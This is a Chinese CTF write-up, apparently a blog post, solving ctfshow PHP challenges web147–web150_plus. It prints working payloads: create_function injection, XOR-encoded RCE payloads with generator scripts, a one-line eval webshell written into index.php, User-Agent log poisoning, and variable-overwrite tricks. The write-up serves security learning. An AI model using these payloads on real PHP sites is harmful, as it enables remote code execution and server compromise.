ctfshow-web入门-php特性(web147-web150_plus)

59 篇文章 1 订阅
56 篇文章 1 订阅

目录

1、web147

2、web148

3、web149

4、web150

5、web150_plus


1、web147

^:匹配字符串的开头。
$:匹配字符串的结尾,确保整个字符串符合规则。
[a-z0-9_]:表示允许小写字母、数字和下划线。
*:匹配零个或多个前面的字符。
/i:忽略大小写。
s:匹配包括换行符在内的所有字符。
D(PCRE 特有):美元符号 $ 仅匹配字符串的实际末尾,不匹配结尾的换行符。

这里只需要让 $ctfshow 里面有其他字符即可满足 if 判断。

在 PHP 中,命名空间(namespace)提供了一种组织代码的方式,可以避免类、函数和常量名称的冲突。默认情况下,PHP 的函数和类都在全局命名空间 \ 中。全局命名空间中的函数和类:在任何命名空间中调用全局函数和类时,需要使用绝对路径(以 \ 开头)。 自定义命名空间中的函数和类:在同一命名空间中调用时,可以直接使用名称;在其他命名空间中调用时,需要使用完整的命名空间路径。

这里可以通过 create_function 函数来实现命令执行

用法:create_function(string $args, string $code)

$args:参数列表,用逗号分隔的参数名字符串。
$code:函数体,包含函数的实际代码。

示例:

$func = create_function('$a', 'echo $a."123";');
$func('Hello'); // 输出 Hello123

create_function 动态创建一个匿名函数,其中 $a 是参数,'echo $a."123";' 是函数体,该方法已在 PHP 7.2.0 中弃用。

等价于:

function f($a) {
  echo $a . "123";
}

f('Hello'); // 输出 Hello123

create_function 存在注入风险,我们这里先闭合前面的 { ,再注释后面的 }

构造 payload:

?show=}system('ls');//
ctf=\create_function

 

注释也可以采用 /* 

?show=}system('tac flag.php');/*
ctf=\create_function

拿到 flag:ctfshow{bd66d045-7a58-4af0-9079-d8c51f64c9cc}

2、web148

没有过滤异或符号,那就直接 rce 咯。

生成可用字符的字典:

<?php

//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}

//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}

//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";

        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }

                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }

        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }
}
generate(2,'/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/');
//1代表模式,后面的是过滤规则

 生成 payload:

# -*- coding: utf-8 -*-

def action(arg):
    s1 = ""
    s2 = ""
    with open("rce.txt", "r") as f:
        lines = f.readlines()
        for i in arg:
            for line in lines:
                if line.startswith(i):
                    s1 += line[2:5]
                    s2 += line[6:9]
                    break
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return output

while True:
    function_input = input("\n[+] 请输入你的函数:")
    command_input = input("[+] 请输入你的命令:")
    param = action(function_input) + action(command_input)
    print("\n[*] 构造的Payload:", param)

构造 payload:

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%0c%08"^"%60%7b");

生成读取 flag 的 payload:

传参:

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");

拿到 flag:ctfshow{b2e0527d-c9f5-4628-9232-d6de59b4f2c2}

预期解是使用中文变量,中文也可以作为变量名,绕过正则,payload:

?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*

其实也是通过异或,"`{{{"^"?<>/"; 异或出来就是 _GET 

当然还有其他异或的情况:

 

对双引号进行一下转义即可,payload: 

?code=$额="\"<>)"^"}{{}";${$额}[一](${$额}[二]);&一=system&二=tac f*

3、web149

代码审计:

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

scandir('./');:扫描当前目录,并返回目录中的文件和文件夹名的数组。
foreach($files as $file) { ... }:遍历数组中的每一个文件。
if(is_file($file)){ ... }:检查是否为文件(而不是目录)。
if ($file !== "index.php") { ... }:检查文件名是否不是 index.php。
unlink($file);:删除文件。

也就是说当前目录下只能存在 index.php,预期解是通过条件竞争实现,但我们其实可以直接将一句话木马写进 index.php。

file_put_contents($_GET['ctf'], $_POST['show']);

file_put_contents() 函数把一个字符串写入文件中,这里是将 POST 请求中的 show 数据写入以 GET 请求中 ctf 参数指定的文件中。

payload:

?ctf=index.php
show=<?php eval($_POST[1])?>

调用:

1=system('cat /ctfshow_fl0g_here.txt');

拿到 flag:ctfshow{da4e2ab9-7b7a-4808-ad25-462d00167195}

4、web150

要求 $isVIP 为真,存在 extract($_GET) 可以实现变量覆盖,传入 ?isVIP=1;

strrpos($ctf, ":")===FALSE 要求 $ctf 不能有冒号,伪协议就用不上了;

但 include($ctf); 可以进行日志文件包含,payload:

?isVIP=1
ctf=/var/log/nginx/access.log

可以看到是 user-agent 的内容,使用 burpsuite 抓包,在 ua 插入想要执行的代码 :

<?php system('ls');?>

读取 flag.php:

<?php system('tac flag.php');?>

拿到 flag:ctfshow{43581126-c1de-4fc7-97a5-268428a5e2c8}

5、web150_plus

新增对 $ctf 过滤 log,日志包含行不通。

payload:

?..CTFSHOW..=phpinfo

居然把 phpinfo 给调出来了,检索 ctfshow 即可找到 flag。 

ctfshow{8a30968a-6b41-49ff-ae79-8037d8cec776}

变量 ..CTFSHOW.. 会解析成 __CTFSHOW__ ,因为非法的字符会转成下划线,然后进行了变量覆盖,__CTFSHOW__ 变量被设置为 phpinfo,if(class_exists($__CTFSHOW__)) 会检查 __CTFSHOW__ 是否是一个已定义的类,在这种情况下,$__CTFSHOW__ 被设置为 phpinfo,所以 if(class_exists('phpinfo')) 会被执行,因为 phpinfo 不是一个类名,class_exists 返回 false,当代码试图访问一个未定义的类( __CTFSHOW__)时,PHP 会调用 __autoload 函数,__autoload('phpinfo'); 会执行 phpinfo() 函数,因为 phpinfo 是一个内置函数。

至此,ctfshow-web入门-php特性完结。

20240727,Myon

  • 30
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Myon⁶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值